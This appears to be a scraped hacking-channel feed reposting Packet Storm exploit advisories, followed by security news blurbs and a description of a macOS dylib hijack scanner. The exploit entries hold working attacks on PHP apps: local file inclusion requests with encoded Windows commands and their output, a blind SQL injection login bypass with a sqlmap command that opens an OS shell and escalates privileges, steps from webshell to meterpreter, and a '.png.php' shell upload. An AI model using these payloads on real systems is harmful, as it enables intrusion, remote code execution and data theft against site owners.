Exploit Collector
Message System 1.0 Local File Inclusion

https://2.bp.blogspot.com/-ZkI_NEmJcds/WWlvjl_lr_I/AAAAAAAAIQo/28S1w7dyZRc0PebCQs4RPEz7Silw5ZbpgCLcBGAs/s1600/h95.png
Message System version 1.0 suffers from a local file inclusion vulnerability.

MD5 | 4704af873c295b300cd774bd52beaaa6

Download
# Title: Message System 1.0 LFI To RCE
# Author: Hejap Zairy
# Date: 29.07.2022
# Vendor: https://www.sourcecodester.com/php/15249/message-system-phpoop-free-source-code.html
# Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/pmms_1.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
#vulnerability Code php
Needs more filtering require_once

```
require_once('config.php');
$page = isset($_GET['page']) ? $_GET['page'] : 'registration';
$page_name = explode("/",$page)[count(explode("/",$page)) -1];
```

[+] Payload GET
```
GET /pmms/registration?page=../../../0day&515=%74%79%70%65%20%43%3a%5c%30%64%61%79%5f%48%65%6a%61%70%5f%2e%74%78%74%20%26%26%20%64%69%72%20%43%3a%5c HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 354
Cookie: PHPSESSID=c9sbs70le23qois1riekoj8osg
Upgrade-Insecure-Requests: 1
```
#Status: CRITICAL

#Response
```

Hegap Zairy 0day Volume in drive C is OS
Volume Serial Number is 2EF1-9DCA

Directory of C:\

03/18/2022 10:27 AM Program Files
03/21/2022 01:45 PM Program Files (x86)
03/02/2022 11:04 PM Python27
03/26/2022 08:33 PM Temp
03/26/2022 08:45 PM Users

```
# Description:
Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server or execution file If converted rce
# Proof and Exploit:
https://i.imgur.com/jTqaEXn.png

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Sports Complex Booking System 1.0 Local File Inclusion

https://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png
Sports Complex Booking System version 1.0 suffers from a local file inclusion vulnerability.

MD5 | e1771154c9789a23d886d6f8d354e1df

Download
# Title: Sports Complex Booking System 1.0 LFI To RCE
# Author: Hejap Zairy
# Date: 28.07.2022
# Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
#vulnerability Code php
Needs more filtering require_once

php```
----


----
```
[+] Payload GET
```
GET /scbs/?p=../../../0day&515=%64%69%72%20%43%3a%5c HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=c9sbs70le23qois1riekoj8osg
Upgrade-Insecure-Requests: 1
```
#Status: CRITICAL
#Response
```
HTTP/1.1 200 OK
Date: Sun, 28 Mar 2022 08:05:28 GMT
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27
X-Powered-By: PHP/7.4.27
Content-Length: 17
Connection: close
Content-Type: text/html; charset=UTF-8`
Volume in drive C is OS
Volume Serial Number is 2EF1-9DCA

Directory of C:\

03/26/2022 08:51 PM 0day
03/26/2022 02:12 PM 19 0day.php
03/17/2022 06:06 AM 12,288 DumpStack.log
03/24/2022 07:14 PM Intel
10/31/2021 12:47 AM MinGW
10/31/2021 12:58 AM mingw32
05/12/2018 08:20 PM mingw64
10/31/2021 12:47 AM msys64
01/02/2022 09:28 AM pen
06/05/2021 03:10 PM PerfLogs
03/18/2022 10:27 AM Program Files
03/21/2022 01:45 PM Program Files (x86)
03/02/2022 11:04 PM Python27
01/30/2022 02:34 PM 474 t.txt
03/26/2022 08:33 PM Temp
03/26/2022 08:45 PM Users
```
# Description:
Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server or execution file If converted rce
# Proof and Exploit:
https://i.imgur.com/tUWZM0X.png
https://i.imgur.com/vrPCGTp.png
https://i.imgur.com/sMyZder.png


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Fingerprint Attendance 1.0 SQL Injection

https://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png
Fingerprint Attendance version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 7fca919d5f491a3255c76c496621dd08

Download
# Title: Fingerprint Attendance 1.0 Blind boolean SQLi To Rce
# Author: Hejap Zairy
# Date: 28.07.2022
# Vendor: https://www.vetbossel.in/fingerprint-attendance-project-php/
# Software: https://app.box.com/s/xlyqalhvayq8oi25tqykcbouzrrjytqy
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
# Steps
# 1.- Go to : https://0day.gov/fingerprint/login.php
# 2 - manual inject Blind SQli Payload: username=hejap' OR NOT 8425=8425#&password=hejap&button=Login
# 3 - SQLi To RCE r00t
# 4 - Ubload webshell
# 5 - Web Shell to meterpreter full tty shell

#vulnerability Code php

---
```
$user = $_POST['username'];
$pass = sha1($_POST['password']);
$passwrong = false;

if(isSet($_POST["button"]))
switch($_POST["button"]){
case "Login" :
$passwrong = login($con, $user, $pass); //echo "Login";
break;
} // ----------------- Inside if(isSet($_POST["button"]))----------------

```
---
#Status: CRITICAL
[+] Payload GET

---

POST /fingerprint/src/ HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Origin: http://0day.gov
Connection: close
Referer: http://0day.gov/fingerprint/src/
Cookie: PHPSESSID=c9sbs70le23qois1riekoj8osg
Upgrade-Insecure-Requests: 1

username=hejap'+OR+NOT+8425=8425#&password=hejap&button=Login
---

```
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: username=hejap' OR NOT 8425=8425#&password=hejap&button=Login
---
```
#Blind SQLi Time to Rce
#ُExploit
sqlmap -r 0day_Hejap.txt -p username
' --hex --dbms=mysql --technique=b --random-agent --eta -D ad_39 -T login --dump --os-shell --priv-esc --forms --eta
# Description:
The Blind boolean SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc

# Proof and Exploit:
https://i.imgur.com/uYBA1C3.png
https://i.imgur.com/nQFdjNu.png

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Message System 1.0 Shell Upload

https://4.bp.blogspot.com/-4tZE0Y76jWM/WWlvMNv2FRI/AAAAAAAAIMQ/Di9LOyWyOssTbh7urhFnaBV0oE1qNf8CgCLcBGAs/s1600/h19.png
Message System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 1f992fe548cf80b5d771f43f1acc8bb7

Download
# Title: Message System 1.0 Shell Upload
# Author: Hejap Zairy
# Date: 29.07.2022
# Vendor: https://www.sourcecodester.com/php/15249/message-system-phpoop-free-source-code.html
# Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/pmms_1.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache
registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw
#vulnerability Code php
Needs more filtering to upload image files

```
if(isset($_FILES['image']) && $_FILES['image']['tmp_name'] != ''){
if(!is_dir(base_app."uploads/users"))
mkdir(base_app."uploads/users");
$fname = 'uploads/users/avatar-'.$uid.'.png';
$dir_path =base_app. $fname;
$upload = $_FILES['image']['tmp_name'];
$type = mime_content_type($upload);
$allowed = array('image/png','image/jpeg');
if(!in_array($type,$allowed)){
$resp['msg'].=" But Image failed to upload due to invalid file type.";
}else{
$new_height = 200;
$new_width = 200;
```
[+] Payload POST
```
POST /pmms/registration.php?id=1&firstname=Admin&middlename=admin&lastname=admin&gender=Male&dob=2022-03-30&username=Admin&password=Admin12345A%40%23&image=0day_Hejap.png HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=jj352kdlpp0ib5lu0v5ddm199m
Upgrade-Insecure-Requests: 1

-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="image"; filename="0day_hejap.png.php"
Content-Type: image/png


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Fingerprint Attendance 1.0 Account Takeover

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Fingerprint Attendance 1.0 Shell Upload

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Exploring the Intersection of Physical Security and Cybersecurity

Residential, commercial, and public buildings are getting smarter; fitting them with a network of connected systems allows buildings to regulate their environment, save energy, and be more secure.

Dark Reading: Attacks/Breaches
Cyera Launches From Stealth With $60M to Identify, Secure, and Remediate Cloud Data Security Risks

Backed by Sequoia, Accel, and Cyberstarts, Cyera is building the security layer for the data plane in the cloud and enabling enterprises to identify and reduce risks across all cloud-based data repositories.

___________________________
@hacking_Attack
@Hacking_Video

nothing

Continue reading on Medium »
Read more...

nothing
https://medium.com/@thesingraja6/nothing-e958e3c4f069?source=rss------bug_bounty-5

Continue reading on Medium » (https://medium.com/@thesingraja6/nothing-e958e3c4f069?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

How I Accidentally Prevented A Mass Hacking
https://www.reddit.com/r/redteamsec/comments/tr63en/how_i_accidentally_prevented_a_mass_hacking/

submitted by /u/banginpadr (https://www.reddit.com/user/banginpadr)
[link] (https://medium.com/geekculture/how-i-accidentally-prevented-a-mass-hacking-e9cd7ddc15fd) [comments] (https://www.reddit.com/r/redteamsec/comments/tr63en/how_i_accidentally_prevented_a_mass_hacking/)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Boko : Application Hijack Scanner For macOS

Boko.py is an application scanner for macOS that searches for and identifies potential dylib hijacking and weak dylib vulnerabilities for application executables, as well as scripts an application may use that have the potential to be backdoored. The tool also calls out interesting files and lists them instead of manually browsing the file system for analysis. With the active discovery function, there’s no more guess work if an executable is vulnerable to dylib hijacking!

The reason behind creating this tool was because I wanted more control over the data Dylib Hijack Scanner discovered. Most publicly available scanners stop once they discover the first case of a vulnerable dylib without expanding the rest of the rpaths. Since sometimes the first result is expanded in a non-existent file within a SIP-protected area, I wanted to get the rest of those expanded paths. Because of this, there are false positives, so the tool assigns a certainty field for each item.
CertaintyDescriptionDefiniteThe vulnerability is 100% exploitableHighIf the vulnerability is related to a main executable and rpath is 2nd in the load order, there is a good chance the vulnerability is exploitablePotentialThis is assigned to dylibs and backdoorable scripts, worth looking into but may not be exploitableLowLow chance this is exploitable because of late load order, but knowledge is power
The backbone of this tool is based off of scan.py from DylibHijack by Patrick Wardle (@synack). Usageboko.py [-h] (-r | -i | -p /path/to/app) (-A | -P | -b) [-oS outputfile | -oC outputfile | -oA outputfile] [-s] [-v] ParametersArgumentDescription-h, –helpShow this help message and exit-r, –runningCheck currently running processes-i, –installedCheck all installed applications-p /file.appCheck a specific application i.e. /Application/Safari.app-A, –activeExecutes executable binaries discovered to actively identify hijackable dylibs-P, –passivePerforms checks only by viewing file headers (Default)-b, –bothPerforms both methods of vulnerability testing-oS outputfileOutputs standard output to a .log file-oC outputfileOutputs results to a .csv file-oA outputfileOutputs results to a .csv file and standard log-s, –sipdisabledUse if SIP is disabled on the system to search typically read-only paths-v, –verboseOutput all results in verbose mode while script runs, without this only Definite certainty vulnerabilities are displayed to the console
It is recommended only to use active mode (-A) with the -pflag and selecting a specific program. Also, it’s a good idea to use -vwith -oSor -oA, unless you are only looking for definite certainty vulnerabilities.

Warning Note: It is highly discouraged to run this tool with the -iand (-A or –b) flags together. This combination will open every executable on your system for 3 seconds at a time. I do not take any responsibility for your system crashing or slowing down because you ran that. Additionally, if you have dormant malware on your system, this will execute it. I also recommend not scanning the whole /Applicationsdirectory if you have Xcode installed because it takes a very long time. Requirements* Python 3
* python -m pip install psutilProcess FlowPassive modeRunning
* Identify all running processes on system
* Obtain full path of running executable
* Read executables and identify macho headers
* Identify dylib relative paths that are loaded and check if files exist in that location
* Output hijackable dylibs and weak dylibs for running applications Installed/Application
* Scan full directory of application for all files
* Identify executable files, scripts, and other interesting files in application directory
* Read executables and identify macho headers or if the file is a script[...]

___________________________
@hacking_Attack
@Hacking_Video

* Identify dylib relative paths that are loaded and check if files exist in that location
* Output hijackable dylibs, weak dylibs, backdoorable scripts, and interesting files (verbose only) Active modeRunning
* Identify all running processes on system
* Obtain full path of running executable
* Read executables and identify macho headers
* Execute the executable binaries for 3 seconds and analyze rpaths that are attempted to load
* Output hijackable dylibs and weak dylibs for running applications Application
* Scan full directory of application for all files
* Identify executable files, scripts, and other interesting files in application directory
* Read executables and identify macho headers or if the file is a script
* Execute the executable binaries for 3 seconds and analyze rpaths that are attempted to load
* Output hijackable dylibs, weak dylibs, backdoorable scripts, and interesting files (verbose only) Download

___________________________
@hacking_Attack
@Hacking_Video